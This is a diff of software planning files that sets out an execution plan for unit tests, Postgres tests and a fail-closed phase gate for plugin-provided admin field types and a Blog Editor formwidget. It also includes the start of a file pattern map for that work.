- D-03 proven on real imported posts; D-02, D-05, D-17 and D-18 proven with a test post; no credential handled by the executor; no write SQL.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md` when done, with the release sheet, the human replies, the tag and pushed heads, both sha256 values, RESTART_TS, HTML_POST, the snapshot and every check result.
|
||||
</output>
|
||||
@@ -0,0 +1,238 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 06
|
||||
type: execute
|
||||
wave: 4
|
||||
depends_on: ["16.2-01", "16.2-02", "16.2-03", "16.2-04", "16.2-05"]
|
||||
files_modified:
|
||||
- modules/pact/field_type_test.go
|
||||
- modules/cabana/field_type_test.go
|
||||
- modules/cabana/field_type_postgres_test.go
|
||||
- admin/tests/form/PluginField.test.ts
|
||||
- admin/tests/form/registry.test.ts
|
||||
- admin/tests/form/formState.test.ts
|
||||
- admin/tests/app/fieldTypes.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- scripts/check-phase16.2.sh
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
|
||||
- ../sm-journal-plugin/classes/blog_editor_test.go
|
||||
- ../sm-journal-plugin/classes/media_store_test.go
|
||||
- ../sm-journal-plugin/controllers/posts_editor_test.go
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- ../sm-journal-plugin/categories_admin_editor_test.go
|
||||
- ../sm-journal-plugin/tests/blogeditor/element.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/schema.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/serializer.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/embed.test.ts
|
||||
- ../vue-journal-layer/tests/embeds.test.ts
|
||||
autonomous: true
|
||||
requirements: [D-03, D-05, D-07, D-10, D-11, D-12, D-13, D-14, D-17, D-18, D-19]
|
||||
estimate:
|
||||
tokens: 115000
|
||||
raw_tokens: 115000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "CLAUDE.md lean rule 3: every piece of Phase 16.2 code has unit tests in this last plan: the pact types, the cabana registry, compile, decode, skip, load, list, writes accessor, field-types and upload routes, the SPA PluginField, MLPluginField, loader and registry helpers, the Journal field types, media storage and hooks, the editor element, schema, serializer and embed parsing, and the layer's expandEmbeds."
|
||||
- "Todo journal-imported-html-admin-resave and D-03 at every layer: the element returns an untouched value unchanged, PluginField does not re-set an echoed value, cabana writes nothing for a value equal to the served one, Journal Load serves content for HTML and content_html for markdown, and the Postgres test TestPostsAdminResaveKeepsHTML asserts exact bytes for an untouched HTML post and an untouched markdown post, and equal content and content_html per locale after an edit."
|
||||
- "D-11 and D-12: every boot rule (alias pattern, core-type clash, cross-plugin clash, element prefix, missing Decode, option-key pattern and clash, missing AdminFS, asset path and extension) has a failing case; CompileForm stays core-only and settings and relation forms refuse plugin types."
|
||||
- "D-10 and D-14: a FormFieldError on the default or a non-default locale is a 422 on the field with no write; a non-FormFieldError and a non-string translatable Decode are opaque 500s."
|
||||
- "D-18: the upload route answers 201, 403, 404 (core field, no Upload, out-of-scope record), 413 and 422, and the Journal upload refuses a disguised file and an svg."
|
||||
- "D-17 and D-05: expandEmbeds expands only exact allowlisted placeholders and runs after the gate; parseEmbedUrl accepts only the four YouTube URL forms."
|
||||
- "Postgres-backed tests (cabana TestFieldTypeSavePostgres, the sm-journal-plugin admin harness tests) exist, compile under go vet and fail rather than skip without a database; they run on a Docker host before /msd-verify-work."
|
||||
- "scripts/check-phase16.2.sh runs every runnable suite fail-closed and ends with 'Phase 16.2 gate passed'; 16.2-VALIDATION.md has its per-task map filled and nyquist_compliant true."
|
||||
artifacts:
|
||||
- path: "modules/cabana/field_type_test.go"
|
||||
provides: "registry, compile, decode, skip, load, list, writes and route unit tests"
|
||||
contains: "TestFieldTypeRegistry"
|
||||
- path: "modules/cabana/field_type_postgres_test.go"
|
||||
provides: "real-database save, show and upload tests"
|
||||
contains: "TestFieldTypeSavePostgres"
|
||||
- path: "../sm-journal-plugin/classes/blog_editor_test.go"
|
||||
provides: "Decode, Load, LooksLikeHTML, options, list value, upload tests"
|
||||
contains: "TestBlogEditorLoad"
|
||||
- path: "scripts/check-phase16.2.sh"
|
||||
provides: "phase gate"
|
||||
contains: "Phase 16.2 gate passed"
|
||||
key_links:
|
||||
- from: "../sm-journal-plugin/posts_admin_smoke_test.go TestPostsAdminResaveKeepsHTML"
|
||||
to: "the cabana untouched skip and the Journal hooks"
|
||||
via: "PUT of the served value through the real admin API on Postgres"
|
||||
pattern: "TestPostsAdminResaveKeepsHTML"
|
||||
- from: "scripts/check-phase16.2.sh"
|
||||
to: "every suite named in 16.2-VALIDATION.md"
|
||||
via: "fail-closed stages"
|
||||
pattern: "check-phase16.2"
|
||||
prohibitions:
|
||||
- statement: "No test touches the UAT server, the network or a shared database: pure tests use stubs, DryRun handles or memblob; Postgres tests use throwaway testcontainers databases."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Tests are not weakened to pass: existing assertions (FormatHTML refuse cases, widget, ML, list-state and SSR expectations) stay."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (CLAUDE.md lean rule 3, user decision 1, plan 06): full unit coverage of the phase's code across summercms.go, sm-journal-plugin and vue-journal-layer, the Postgres tests for a Docker host, and the phase gate. This plan changes tests, the gate script and VALIDATION.md only, so no dist or bundle changes.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- Go tests: `TestFormFieldErrorMessage` (pact); `TestFieldTypeRegistry`, `TestFieldTypeOptions`, `TestFieldTypeCompile`, `TestFieldTypeDecode`, `TestFieldTypeUntouched`, `TestFieldTypeLoad`, `TestFieldTypeListValue`, `TestFieldTypeWrites`, `TestFieldTypesRoute`, `TestFieldUpload` (cabana); `TestFieldTypeSavePostgres` (cabana, Docker); `TestBlogEditorDecode`, `TestBlogEditorLoad`, `TestLooksLikeHTML`, `TestBlogEditorOptions`, `TestBlogEditorListValue`, `TestBlogEditorUpload`, `TestStoreMedia` (Journal classes); `TestPostsEditorHooks` (Journal controllers); `TestCategoriesAdminBlogEditor` and the extended `TestPostsAdminResaveKeepsHTML` (Journal root, Docker).
|
||||
- Vitest files: `admin/tests/app/fieldTypes.test.ts`; extended `PluginField.test.ts`, `registry.test.ts`, `formState.test.ts`, `ListView.test.ts`; `../sm-journal-plugin/tests/blogeditor/{element,schema,serializer,embed}.test.ts`.
|
||||
- Layer: extended `tests/embeds.test.ts`.
|
||||
- `scripts/check-phase16.2.sh` (stages `go`, `admin`, `editor`, `layer`, `docs`, `postgres`; flags `--all`, `--self-test`).
|
||||
|
||||
<objective>
|
||||
Bring full unit coverage to Phase 16.2 (lean rule 3), add the Postgres tests for a Docker host, write the phase gate and complete the validation map.
|
||||
|
||||
Purpose: every behaviour the phase shipped is pinned by a test that fails when it regresses.
|
||||
Output: the test files above, scripts/check-phase16.2.sh, an updated 16.2-VALIDATION.md.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-PLAN.md
|
||||
|
||||
No Docker on this machine (Pitfall 11): run Go tests with explicit `-run` sets; the testcontainers tests are written to fail rather than skip without a database and are listed for the Docker host. Test helpers to reuse: `openDryRunDB`, `newDryRunListService` (modules/cabana/query_relation_test.go), the recording TranslationWriter (modules/cabana/locale_order_test.go), `crudFixture`/`hookFixture` and `principalCtx` (Postgres fixtures in crud_test.go and crud_lifecycle_test.go), `newPostsEnv` and `adminAPI` (sm-journal-plugin admin harness), `memblob.OpenBucket`. Commits: tests only, `test(...)` messages, no co-author tags, stage by explicit path in each repository.
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: the imported-post resave contract, pinned at every layer (element, SPA, cabana, Journal, Postgres)</name>
|
||||
<files>../sm-journal-plugin/tests/blogeditor/element.test.ts, admin/tests/form/PluginField.test.ts, modules/cabana/field_type_test.go, ../sm-journal-plugin/classes/blog_editor_test.go, ../sm-journal-plugin/posts_admin_smoke_test.go</files>
|
||||
<read_first>../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, admin/tests/form/PluginField.test.ts, modules/cabana/field_type_smoke_test.go, modules/cabana/field_type.go, ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/posts_admin_smoke_test.go, ../sm-journal-plugin/admin_harness_test.go, .planning/todos/pending/journal-imported-html-admin-resave.md</read_first>
|
||||
<action>Write one test per layer for the folded todo's acceptance (D-03, D-07; "re-save an imported HTML post and assert content and content_html are unchanged").
|
||||
|
||||
Element (element.test.ts, happy-dom): for the imported-post fixture and for a markdown post's content_html sample, set value, toggle to the source tab and back without typing, and read value: identical string and zero summer-change events.
|
||||
|
||||
SPA (PluginField.test.ts): a stub element that re-emits its current value on connect; the form value stays identical and PluginField never writes the property a second time for an equal value.
|
||||
|
||||
cabana (field_type_test.go, TestFieldTypeUntouched): with a translatable stub type and a recording writer, an update whose submitted pl and en values equal servedFieldValue writes nothing (no projected key, no WriteTranslated call, no FieldWrite); one changed locale writes only that locale; canonical comparison treats equal JSON objects with different key order as equal and a string "1" and number 1 as different; a create never skips.
|
||||
|
||||
Journal (blog_editor_test.go, TestBlogEditorLoad): HTML content is served verbatim (including leading whitespace and a leading HTML comment), markdown content is served as the Translated content_html, an empty content_html falls back to FormatHTML, nil and empty pointers give "".
|
||||
|
||||
Postgres (posts_admin_smoke_test.go, Docker host): TestPostsAdminResaveKeepsHTML creates an HTML post and a markdown post through the admin API, reads the served form values with GET, PUTs them back unchanged and asserts content and content_html are byte-identical for both (the markdown post keeps markdown content), that no en translation row was added for an untouched empty en, then PUTs an edited pl and en value and asserts content equals content_html for pl and that the en content_html translation equals the en content.
|
||||
|
||||
Commit per repository as test(...) commits, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin tests/blogeditor/element.test.ts && npm --prefix admin test -- tests/form/PluginField.test.ts && go test -count=1 -run '^TestFieldTypeUntouched$' -v ./modules/cabana 2>&1 | grep -- '^--- PASS: TestFieldTypeUntouched' && go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorLoad$' -v ./classes/ 2>&1 | grep -- '^--- PASS: TestBlogEditorLoad' && go -C ../sm-journal-plugin vet ./...</automated>
|
||||
<fails_when>Non-zero exit: an element or PluginField vitest case fails, no "--- PASS: TestFieldTypeUntouched" or "--- PASS: TestBlogEditorLoad" line, or go vet fails on the updated Postgres test.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func TestFieldTypeUntouched" modules/cabana/field_type_test.go` and `grep -n "func TestBlogEditorLoad" ../sm-journal-plugin/classes/blog_editor_test.go` each print one line.
|
||||
- TestPostsAdminResaveKeepsHTML compares bytes without TrimSpace and covers an HTML post, a markdown post and an edited save (read the test: three stages).
|
||||
- The four runnable checks pass; the Postgres test compiles (go vet).
|
||||
</acceptance_criteria>
|
||||
<done>The untouched-resave contract is pinned at the element, SPA, cabana and Journal layers here, and on Postgres for the Docker host.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 2: Full Go coverage: pact, cabana field types and routes, Journal field types, media storage and hooks; Postgres tests</name>
|
||||
<files>modules/pact/field_type_test.go, modules/cabana/field_type_test.go, modules/cabana/field_type_postgres_test.go, ../sm-journal-plugin/classes/blog_editor_test.go, ../sm-journal-plugin/classes/media_store_test.go, ../sm-journal-plugin/controllers/posts_editor_test.go, ../sm-journal-plugin/categories_admin_editor_test.go</files>
|
||||
<read_first>modules/pact/capabilities.go, modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/tx_context.go, modules/cabana/field_ml.go, modules/cabana/list_schema.go, modules/cabana/field_type_smoke_test.go, modules/cabana/query_test.go (Postgres container fixture), modules/cabana/crud_lifecycle_test.go (hookFixture, principalCtx, crudCall), ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/classes/media_store.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/admin_harness_test.go, ../sm-journal-plugin/controllers/categories.go</read_first>
|
||||
<behavior>
|
||||
- pact: FormFieldError.Error joins messages with "; "; a nil pointer does not panic.
|
||||
- Registry: bad alias pattern, core clash, cross-plugin clash naming both IDs, wrong element prefix, reserved or invalid tag, nil Decode, bad and core-clashing and repeated option keys, assets without AdminFS, bad asset path and extension each fail boot with the documented message; valid types register their assets with ?v= hashes.
|
||||
- Compile: general keys accepted, core type-specific keys refused, option values of every YAML kind decoded, CheckOptions error surfaced, CompileForm refuses a plugin alias, CompileFormWithTypes accepts it, settings and relation forms refuse plugin types.
|
||||
- Decode/Load: default and non-default FormFieldError become a 422 on the field with no write; other errors and a non-string translatable Decode are opaque 500 without the plugin text; nil Load keeps the stored value; Load errors are opaque 500.
|
||||
- List: ListValue applied, nil ListValue keeps raw value. Writes: copy semantics, false outside save, Before and After hooks see the same writes.
|
||||
- Routes: field-types sorted, empty list, assets URLs; upload 201, 403, 404 (core field, no Upload, unknown field, context refusal), 413, 422, missing part, id 0 Record nil.
|
||||
- Postgres (Docker host): create, update, show through the HTTP handlers with a translatable plugin type and the real column; an untouched update leaves the row unchanged; upload with id != 0 outside the FormExtendQuery scope is 404.
|
||||
- Journal: Decode table (string, non-string, each CheckHTML pattern, placeholder passes); LooksLikeHTML table; options (htmlColumn identifier, uploadFolder rule); ListValue (tags stripped, 120-rune truncation); Upload (png, jpeg, gif and webp sniff, disguised text, svg, safe names, size, missing bucket); StoreMedia (extension, size message, key layout, unique suffix, URL); hooks (create and update, default and non-default writes, no writes, no writer); categories on Postgres: content saved through blogeditor, blank to NULL, unsafe 422.
|
||||
</behavior>
|
||||
<action>Write the Go tests listed in the behavior block (per D-10, D-11, D-12, D-14, D-18, D-19), table-driven where the cases share a shape. cabana unit tests use no database (DryRun handles, stubs, the recording writer, httptest with principalCtx-style contexts); TestFieldTypeSavePostgres reuses the existing testcontainers fixture pattern and fails, not skips, without Docker. The Journal root-package TestCategoriesAdminBlogEditor uses newPostsEnv-style harness setup for the categories controller. Do not change production code; if a test exposes a defect, fix it in a separate fix(...) commit with its own test and record it in the SUMMARY. Commit per repository as test(...) commits, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/pact ./modules/cabana && go test -count=1 ./modules/pact && go test -count=1 -run '^(TestFieldTypeRegistry|TestFieldTypeOptions|TestFieldTypeCompile|TestFieldTypeDecode|TestFieldTypeUntouched|TestFieldTypeLoad|TestFieldTypeListValue|TestFieldTypeWrites|TestFieldTypesRoute|TestFieldUpload|TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 12</automated>
|
||||
<fails_when>Non-zero exit: vet or the pact package fails, or fewer than twelve top-level "--- PASS: Test" lines for the named cabana tests (one missing or failing).</fails_when>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorDecode|TestBlogEditorLoad|TestLooksLikeHTML|TestBlogEditorOptions|TestBlogEditorListValue|TestBlogEditorUpload|TestStoreMedia)$' -v ./classes/ 2>&1 | grep -c '^--- PASS: Test' | grep -qx 7</automated>
|
||||
<fails_when>Non-zero exit: vet fails, a classes or controllers test fails, or fewer than seven "--- PASS: Test" lines for the named Journal classes tests.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func TestFieldTypeSavePostgres" modules/cabana/field_type_postgres_test.go` and `grep -n "func TestCategoriesAdminBlogEditor" ../sm-journal-plugin/categories_admin_editor_test.go` each print one line, and both files pass go vet.
|
||||
- The twelve named cabana tests and seven named Journal classes tests pass; `go -C ../sm-journal-plugin test -count=1 -run '^TestPostsEditorHooks$' ./controllers/` passes.
|
||||
- For each repository, `git diff --stat "$TASK2_START"..HEAD` (TASK2_START is that repository's head recorded in the SUMMARY before this task) lists only *_test.go files, except files of separate fix(...) commits that the SUMMARY names.
|
||||
</acceptance_criteria>
|
||||
<done>Every Go behaviour of the phase has a passing unit test here, and the database-backed paths have Postgres tests for the Docker host.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Full JS coverage (admin, editor, layer), the phase gate script and the validation map</name>
|
||||
<files>admin/tests/app/fieldTypes.test.ts, admin/tests/form/registry.test.ts, admin/tests/form/formState.test.ts, admin/tests/list/ListView.test.ts, ../sm-journal-plugin/tests/blogeditor/schema.test.ts, ../sm-journal-plugin/tests/blogeditor/serializer.test.ts, ../sm-journal-plugin/tests/blogeditor/embed.test.ts, ../vue-journal-layer/tests/embeds.test.ts, scripts/check-phase16.2.sh, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md</files>
|
||||
<read_first>admin/src/app/fieldTypes.ts, admin/src/app/pluginAssets.ts, admin/src/components/form/registry.ts, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts, admin/src/views/ListView.vue, admin/tests/form/registry.test.ts, admin/tests/form/formState.test.ts, admin/tests/list/ListView.test.ts, ../sm-journal-plugin/assets/src/blogeditor/extensions.ts, ../sm-journal-plugin/assets/src/blogeditor/serializer.ts, ../sm-journal-plugin/assets/src/blogeditor/embed.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../vue-journal-layer/app/utils/embeds.ts, ../vue-journal-layer/tests/embeds.test.ts, scripts/check-phase16.sh (fail-closed stage and detector style), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md</read_first>
|
||||
<behavior>
|
||||
- fieldTypes: each script URL loads once even when loadFieldTypes runs twice; global styles stay enabled after activateStyles for any controller; a failed GET or script does not reject; URLs outside the asset prefix are refused.
|
||||
- registry: rendererForField returns PluginField, MLPluginField or the core renderer; isRegisteredField true for plugin fields; groupLabelled true for plugin fields. formState: isMLField fields get locale maps in initial values and editable payloads. ListView: an unknown column type renders the row value as text.
|
||||
- Editor schema: every rawHtml tag rule, figure shapes (img only, img plus figcaption, other content to rawHtml), span mark, global attributes on each modelled type, link attributes without defaults and javascript: refused, table rendering without colgroup, thead kept, cell paragraph unwrapping, no trailing paragraph, rawHtml card escaping.
|
||||
- Serializer: block reuse after one edit, after a deletion and after an insertion; whitespace between blocks kept for reused runs.
|
||||
- Embed: parseEmbedUrl table (watch, youtu.be, shorts, embed, extra query params, 10 and 12 character ids, other hosts, javascript:), node round trip, insert flow; upload flow timeout and mismatched id; labels pl and en with en fallback; disabled and invalid attributes.
|
||||
- Layer: expandEmbeds table (valid, invalid id, unknown provider, extra attribute, attribute order swapped, two placeholders, empty input) and the gate-first pipeline.
|
||||
- Gate: stages go, admin, editor, layer, docs run fail-closed (a go run with "no tests to run", a skip or a missing named test fails; a node run with "not ok" or "# fail" non-zero fails); --self-test proves the detectors fail on planted output; --all ends with "Phase 16.2 gate passed"; the postgres stage runs the Docker suites and is documented as Docker-host only.
|
||||
</behavior>
|
||||
<action>Write the JS tests in the behavior block (per D-03, D-04, D-05, D-13, D-14, D-17, D-18) in each repository's existing runner (admin vitest, plugin vitest, layer node:test with erasable TypeScript only). Write scripts/check-phase16.2.sh in the check-phase16.sh style (set -euo pipefail, unset FORCE_COLOR, ROOT from the script path, overridable JOURNAL and LAYER paths, required-test name lists per stage, the go and node detectors, --self-test, --all, stage names go, admin, editor, layer, docs, postgres; the docs stage runs TestDocsTree, check-admin-openapi.sh --check, check-admin-dist.sh and the plugin check-dist.sh). Update 16.2-VALIDATION.md: fill the per-task map with the real task IDs (16.2-01-T2 and so on), commands and statuses, tick Wave 0, set wave_0_complete and nyquist_compliant to true, and keep the Manual-Only rows (Docker-host suites; UAT editing, which plan 05 recorded). Commit tests per repository as test(...) commits, the script as "test(16.2): phase gate", and VALIDATION.md separately as docs(16.2), staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix admin test && ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin && npm --prefix ../vue-journal-layer test 2>&1 | grep -E '^# fail 0$'</automated>
|
||||
<fails_when>Non-zero exit or no "# fail 0" line: an admin or editor vitest file fails, or a layer node test fails.</fails_when>
|
||||
<automated>bash scripts/check-phase16.2.sh --self-test && bash scripts/check-phase16.2.sh --all 2>&1 | tail -1 | grep -qx 'Phase 16.2 gate passed'</automated>
|
||||
<fails_when>Non-zero exit: a detector self-test does not fail on planted output, or the last line of the --all run is not exactly "Phase 16.2 gate passed" (a stage failed or a required test is missing).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "Phase 16.2 gate passed" scripts/check-phase16.2.sh` prints at least one line, and the --all run ends with that line.
|
||||
- `grep -n "nyquist_compliant: true" .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md` prints one line and the per-task map has no "TBD" task IDs.
|
||||
- The admin, editor and layer suites pass in full.
|
||||
</acceptance_criteria>
|
||||
<done>The JS code of the phase is fully tested, the phase gate passes here, and the validation map is complete with the Docker-host suites listed as manual.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| tests → databases | Postgres tests start throwaway containers; nothing else is dialled |
|
||||
| tests → network | no test reaches UAT, the npm registry or git origin |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-28 | Tampering | test isolation | low | mitigate | Pure tests use stubs, DryRun handles on a DSN that is never dialled, memblob and happy-dom; Postgres tests use testcontainers; no ssh or curl in any test |
|
||||
| T-16.2-29 | Repudiation (false green) | phase gate | medium | mitigate | Fail-closed detectors for "no tests to run", skips, missing named tests and node "# fail"; --self-test proves them; Docker suites are named as manual rows, not silently skipped |
|
||||
| T-16.2-30 | Tampering (security regression) | refusal tests | medium | mitigate | The CheckHTML, upload sniffing, alias collision, upload permission and gate-order cases are explicit tests, so a later change that weakens them fails the gate |
|
||||
| T-16.2-SC | Tampering | packages | high | mitigate | No package is installed: every runner uses the lockfiles committed in plans 01, 02 and 04 |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: the four layer checks of the resave contract pass and the Postgres test compiles.
|
||||
- Task 2: the named cabana and Journal tests pass; the Postgres tests compile.
|
||||
- Task 3: all JS suites pass, the gate self-test and --all pass, VALIDATION.md is complete.
|
||||
- Before /msd-verify-work, on a Docker host: `bash scripts/check-phase16.2.sh postgres`.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- Full unit coverage of the phase's code (lean rule 3), the folded todo's acceptance test tightened, Postgres tests ready for the Docker host, a passing fail-closed phase gate.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-SUMMARY.md` when done, with the test counts per repository, any fix(...) commits, and the Docker-host command list.
|
||||
</output>
|
||||
@@ -0,0 +1,261 @@
|
||||
# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Pattern Map
|
||||
|
||||
**Mapped:** 2026-10-09
|
||||
**Files analyzed:** 27 (4 repos)
|
||||
**Analogs found:** 25 / 27
|
||||
|
||||
Binding post-research decisions: the editor image upload goes through a new cabana-owned route `POST {admin}/api/v1/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` that calls an optional `FormFieldType.Upload`; Journal implements it by reusing its media storage. The phase includes the 16.1-style release (summercms v0.1.17, journal/host bumps, vue-journal-layer v0.2.0 + app pin, UAT redeploy).
|
||||
|
||||
All paths are git-tracked source in their own repos (sm-journal-plugin, vue-journal-layer and vue-grzybyfunkcjonalne-app are sibling repos; there are no `.msd/` mirror paths).
|
||||
|
||||
## File Classification
|
||||
|
||||
| New/Modified File | Role | Data Flow | Closest Analog | Match Quality |
|
||||
|---|---|---|---|---|
|
||||
| `modules/pact/capabilities.go` (+FormFieldType, FormFieldValue, FormFieldUpload, FieldError, HasFormFieldTypes) | model/interface | request-response | same file: `AdminAction` / `AdminActionInput` / `HasAdminActions` (lines 205-270) | exact |
|
||||
| `modules/cabana/field_type.go` (NEW registry, alias/collision, option check, Decode/Load runner, ListValue) | service | transform | `modules/cabana/extension.go` (`compileClientAssets` 253-300, `checkWidgetTag` 320-333, `compileActions` 335+) | exact |
|
||||
| `modules/cabana/field_type_upload.go` (NEW upload handler) | controller | file-I/O | `modules/cabana/field_file.go` `fileUpload`/`fileUploadOn` (684-760) | exact |
|
||||
| `modules/cabana/form_schema.go` (formFieldTypes, decodeFields/compileFieldNode take registry) | config/compile | transform | itself (lines 24-30, 466-480) | self |
|
||||
| `modules/cabana/crud.go` (save: plugin decode/skip in tx; scalarFormField) | service | CRUD | itself: ML path at 600 / 616 / 688 / 709; classifier 1224-1232 | self |
|
||||
| `modules/cabana/field_ml.go` (mlFieldType registry-aware, hydrate calls Load) | service | CRUD | itself (11-60) | self |
|
||||
| `modules/cabana/tx_context.go` (+withFieldWrites / FieldWritesFromContext) | utility | request-response | same file `withVirtualFields`/`VirtualFieldsFromContext` (36-60) | exact |
|
||||
| `modules/cabana/list_schema.go`, `http.go` `projectRow` (plugin column ListValue) | service | transform | `list_schema.go:22-24`, `http.go:1067` | self |
|
||||
| `modules/cabana/http.go` (Activate threading + route + field-types endpoint) | route | request-response | `http.go:74-121` (Activate), `:335-347` (file routes) | self |
|
||||
| `modules/cabana/admin_openapi.go` + phase09Routes test list | config | — | existing file-route entries in same file | self |
|
||||
| `modules/cabana/README.md`, `modules/pact/README.md`, `docs/backend/...` + site nav | docs | — | Phase 10.1 widget sections in same READMEs / `docs/` partials-and-widgets page | role-match |
|
||||
| `admin/src/components/form/fields/PluginField.vue` (NEW) | component | event-driven | `admin/src/components/form/fields/WidgetField.vue` | exact |
|
||||
| `admin/src/components/form/fields/MLPluginField.vue` or MLField wiring | component | event-driven | `admin/src/components/form/fields/MLMarkdownField.vue` + `MLField.vue` | exact |
|
||||
| `admin/src/components/form/registry.ts` | config | — | itself (renderers map, `valueless`, `rendererFor`) | self |
|
||||
| `admin/src/app/fieldTypes.ts` (NEW global loader) | utility | event-driven | `admin/src/app/pluginAssets.ts` | exact |
|
||||
| `admin/src/.../mlLocale.ts`, `formState.ts` | utility | transform | itself (`ML_FIELD_TYPES` line 2) | self |
|
||||
| `admin/src/api/types.ts` generated + `modules/boardwalk/dist` | config | — | `scripts/check-admin-openapi.sh`, `scripts/check-admin-dist.sh` | exact |
|
||||
| `../sm-journal-plugin/classes/blog_editor.go` (NEW FormFieldType values) | service | transform | `../sm-journal-plugin/classes/format_html.go` (CheckHTML) + `controllers/categories.go:65-82` | role-match |
|
||||
| `../sm-journal-plugin/classes/media_store.go` (NEW, extracted) | service | file-I/O | `../sm-journal-plugin/controllers/api/media.go` `UploadMedia` (22-91) | exact (extraction) |
|
||||
| `../sm-journal-plugin/controllers/posts.go` (`preparePostWrite`, FormAfter* companion) | controller hook | CRUD | itself 204-221 | self |
|
||||
| `../sm-journal-plugin/controllers/categories.go` | controller hook | CRUD | itself 60-82 (keep) | self |
|
||||
| `../sm-journal-plugin/plugin.go` / `admin.go` (register types, embed dist) | config | — | `admin.go:16-20` `//go:embed` list | exact |
|
||||
| `../sm-journal-plugin/models/post/fields.yaml:19`, `models/category/fields.yaml:28` | config | — | — (one-line type swaps) | n/a |
|
||||
| `../sm-journal-plugin/assets/src/blogeditor/*.ts`, `assets/dist/blogeditor.{js,css}` | component (custom element) | event-driven | element contract from `WidgetField.vue` header; no TipTap analog | **no analog** (use RESEARCH Pattern 4/5) |
|
||||
| `../sm-journal-plugin/package.json`, `vite.config.ts`, `scripts/check-dist.sh` | config | batch | `admin/package.json`, `scripts/check-admin-dist.sh` | exact |
|
||||
